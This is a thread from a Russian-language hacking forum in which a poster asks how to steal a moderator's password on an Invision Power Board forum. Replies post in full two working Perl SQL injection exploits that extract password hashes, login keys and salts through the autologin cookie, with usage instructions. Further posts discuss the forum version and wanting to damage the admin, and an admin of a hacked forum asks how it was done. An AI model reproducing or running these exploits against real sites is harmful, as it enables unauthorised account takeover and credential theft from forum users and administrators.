собственно сабжик нашёл форум Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. прочитал сдесь все темы по поводу ipb но этой версии нету может он схожа с какойто другой собственно цель приследую захватить =) пароль модератора надоедливавого посоветуйте с чего начать ?
r57ipb2 - им пробуй! PHP: #!/usr/bin/perl ## Invision Power Board SQL injection exploit by RST/GHC ## vulnerable forum versions : 1.* , 2.* (<2.0.4) ## tested on version 1.3 Final and version 2.0.2 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb2.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb2.pl blah.com /ipb202/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb202/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key'):('password'); $server =~ s!(http:\/\/)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{\b\b DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr(42); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 2.0.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); }
такс спосибо модером что под правили -) и так ешё вопросик ! я понел что я х.. что сам то сделаю как можео хотябы нагадить админу в душу чтоли ?)))))
СССР, Определение версии в своей статье доходчиво описал киб. Как следствие, не ври что читал... http://forum.antichat.ru/thread11615.html
2zl0ba если это 2.0.* лутше этот эксплойт, а то логин кей только для подмены куков нужен, а тут и хеш и соль! PHP: #!/usr/bin/perl ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. ## for stealing converge_pass_salt value from ipb database ## on some ipb forums it steals the legacy_password which is the first md5 ## hash of the target password. ## vulnerable forum versions : 2.* (<2.0.4) ## tested on version 2.0.2 ## * work on mysql 4.0, 4.1 versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## coded by Coyl ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## /ipb.pl 127.0.0.1 /fo/ 1 ## [~] SERVER : 127.0.0.1 ## [~] PATH : /fo/ ## [~] MEMBER ID : 1 ## [~] VALUE TO STEAL : ## [~] SEARCHING THE EASIEST WAY... [ FAILED ] ## [~] SEARCHING THE SALT [\5][ DONE ] ## ## SALT : UoU1o ## ## [~] SEARCHING THE PASS HASH [/32][ DONE ] ## ## PASS HASH : 1ab2bc1f32f231f234313444233d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 3) { &usage; } $enum=0; $cookie = 1; $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $prefix = ($ARGV[3])?($ARGV[3]):("ibf_"); $server =~ s!(http:\/\/)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] VALUE TO STEAL : \r\n"; print "[~] SEARCHING THE EASIEST WAY... [|0]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $flag=0; $field=1; LOOP: while(1) { $pass = ($field)?('converge_pass_hash'):('converge_pass_salt'); if($field) { if(&found(96,123)==0) { &found(47,58)}} if(!$field&&$flag) { &found(33,126) } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{[ DONE ] }; if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";} else { print (($field)?("\r\n PASS HASH : "):("\r\n SALT : ")); print $allchar."\r\n\r\n"; $allchar=''; $enum=0; $s_num=1; $field++; if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP}; } } else { if (!$flag) { print "$back FAILED ]\r\n"; print "[~] SEARCHING THE SALT [|0]"; $flag=1; $field=0; redo LOOP; } if ($flag) { print "$back FAILED ]\r\n"; } } exit(); } else { $allchar .= chr($char); $enum++; } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; $eas="1%2527+OR+%28id%3D"; $pass_hash1 = ($flag)?($non):($eas); $pass_hash2 = "+AND+ascii%28substring%28"; $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if ($enum<10) {$back="\b\b\b";} else {$back="\b\b\b\b"}; if($status==0){ print "$back\\$enum]"; } if($status==1){ print "$back-$enum]"; } if($status==2){ print "$back/$enum]"; } if($status==3){ print "$back|$enum]"; } } sub usage() { print q( Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified -------------------------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id]- user id for brute [prefix] - database prefix \(ibf_ by default\) e.g. ipb.pl 127.0.0.1 / 1 ipb_ -------------------------------------------------------------------- coded by Coyl. CiaNeeD team. -------------------------------------------------------------------- greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru -------------------------------------------------------------------- ); exit(); }
http://someshit.net/forumdisplay.php?f=4 пробуй правда маловероятно что 2007 года он 2.0.0.7 (такой версии то и нет) скорее васего либо айпи динамик, либо 2.1.7
blackybr У меня был один форум... 2.1.5... Ну вот я в 2006 поставил... ну и уже давно туда не ходил) а поза вчера залез, посмотрел а там 2007... %)
<result>1</result> <customer_id>0</customer_id> <account_id>0</account_id> <version_id>21012</version_id> <version_string>v2.1.7</version_string> <release_hash><{%dyn.down.var.md5%}></release_hash>
Вопрос: Каким образом был форум подтерт? Инъекция? Если же Да, то каким макаром. ============================= Зы. Форум и правду, той версии, что указано выше постом. ======================== Т.к. отписыв. код здесь запрещен., плиз запостите линк или ман в ПМ или на мыло. Буду признателен. --------------------------------------- С ув. Админ затравленного форума. СССР чтоб ты был всегда здоровый. А клиенту ukrcom взломав. респект и не гуд.